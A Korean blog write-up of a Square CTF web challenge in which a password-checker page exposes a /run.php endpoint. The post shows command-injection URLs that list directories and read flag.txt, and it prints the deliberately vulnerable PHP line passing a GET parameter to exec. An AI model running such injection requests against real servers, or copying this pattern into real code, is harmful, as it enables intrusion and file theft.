본문 바로가기
웹 해킹/CTF

[Square CTF] Password checker

by L3m0n S0ju 2021. 8. 11.

Name

password-checker - See if your password is secure! Or whether this portal is secure!

Points

50 points

Type

Web

Description

After the announcement of a catastrophic breach of PICI (Personally Identifiable Cat Information) by Evil Robot Corp, we used Shodan to see if there were any interesting new attack vectors in their IP space and found this weird password checker portal. It looks totally hackable. Can you see if you can exfiltrate files out of the portal?

 

Evil Robot Corp에서 PICI(Personally Identifiable Cat Information)에 대한 치명적인 위반을 발표한 후 우리는 Shodan을 사용하여 IP 공간에 흥미로운 새로운 공격 벡터가 있는지 확인하고 이 이상한 암호 검사기 포털을 발견했습니다. 완전히 해킹 가능한 것처럼 보입니다. 포털에서 파일을 추출할 수 있는지 확인할 수 있습니까?

 

[DOCKER]
docker run --rm -p 8080:8080 squarectf/pwd_checker
then visit http://localhost:8080/

[VMware] http://192.168.xxx.xxx:7703

This challenge will be discussed at Capture the Flag: Learning to Hack for Fun and Profit at the Grace Hopper Celebration.

See also

Work_at_Square(1), Privacy_policy(1), Code_of_conduct(1)

Square, Inc.(c) August 2021Square_CTF_CHALLENGE(1)

 

 

 

 

 


문제 페이지로 접근하면 패스워드를 입력하는 창이 뜹니다. Ctrl + u 를 눌러 소스코드를 확인합니다. 소스코드는 아래와 같습니다.

 

 

 

 

자동 줄바꿈
  <html>
  <head>
  <title>Password Checker</title>
   
  <script type="text/javascript">
  function validate(objForm) {
  let toBeCheckedValue = objForm.elements['password'].value;
   
  let xmlHttp = new XMLHttpRequest();
  xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false);
  xmlHttp.send(null);
  let actualValue = xmlHttp.responseText;
   
  if (toBeCheckedValue != actualValue) {
  alert('Passwords don\'t match!');
  } else {
  alert('Password validated!');
  }
  }
  </script>
   
  </head>
   
  <body>
  <center>
  Check your password!<br /><br />
  <form onsubmit="validate(this);">
  <input type="password" name="password" />
  <button type="submit">Submit</button>
  </form>
  </body>
   
  </html>

 

 


문제의 핵심 코드는 아래아 같습니다. /run.php를 실행하고 ../password.txt에서 패스워드를 가져와서 actualValue에 저장하고 입력한 패스워드와 비교하여 같으면 Password validated!를 출력한다. 하지만 문제점은 Password validated!라는 문자열만 출력하고 더이상 진행되지 않는다.

 

 

let xmlHttp = new XMLHttpRequest();

xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false);

xmlHttp.send(null);

let actualValue = xmlHttp.responseText;

 

if (toBeCheckedValue != actualValue)

{

    alert('Passwords don\'t match!');

}

else

{

    alert('Password validated!');

}

 

 

 

 

 


코드에서 얻을 수 있는 정보는 /run.php라는 페이지가 존재한다는 점이다. 해당 페이지에 접속하여 ?cmd=명령어와 같은 구문을 입력하면 아래와 같이 결과가 출력된다. 

 

 

 

 

 


이상한 점은 ls -al이란 명령어를 입력하면 현재 디렉토리와 이전 디렉토리에 대한 권한 정보가 생략되어있고 문제 코드와는 다르게 password.txt라는 파일이 보이지 않는다. 하지만 cat ./../password.txt를 입력하면 패스워드를 볼 수 있다. 따라서 cmd로 명령어를 입력할 수는 있지만 결과는 마지막 한 줄만 볼 수 있음을 추측할 수 있다.

 

 

 

 

 


따라서 \n 개행문자를 다른 문자로 대체하여 한 줄로 출력되도록 만들어줍니다. url은 다음과 같습니다.

 

http://192.168.169.153:7703/run.php?cmd=ls -al ./../ | tr "\n" " " 

 

명령어를 입력하면 아래 그림과 같이 한줄에 결과가 출력되고 flag.txt를 찾을 수 있습니다.

 

 

 

 

 


http://192.168.169.153:7703/run.php?cmd=cat ./../flag.txt | tr "\n" " " 을 입력하면 아래 그림과 같이 플래그가 출력됩니다. flap은 플래그가 가까이 있다는 것을 알려주는 관례적인 표현입니다.

 

 

 

 

 


<?php $line = exec($_GET['cmd']); echo $line; ?>

 

지금까지 결과의 마지막 한 줄만 출력된 이유는 run.php의 exec 함수에 있습니다. exec 함수는 결과의 마지막 줄만 출력한다고 합니다. 이상 Password checker 문제풀이였습니다.

'웹 해킹 > CTF' 카테고리의 다른 글

[HackCTF] /  (0) 2021.09.10
[Square CTF] Little Doggy Tables  (0) 2021.09.01
[WebGoat] General - HTTP Proxies  (0) 2021.05.15
[WebGoat] General - HTTP Basics  (0) 2021.05.15
[DIMI CTF] exec me  (0) 2021.03.25

댓글